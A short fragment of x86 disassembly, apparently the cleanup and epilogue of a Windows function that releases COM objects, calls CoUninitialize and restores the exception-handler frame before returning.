call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x415951
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret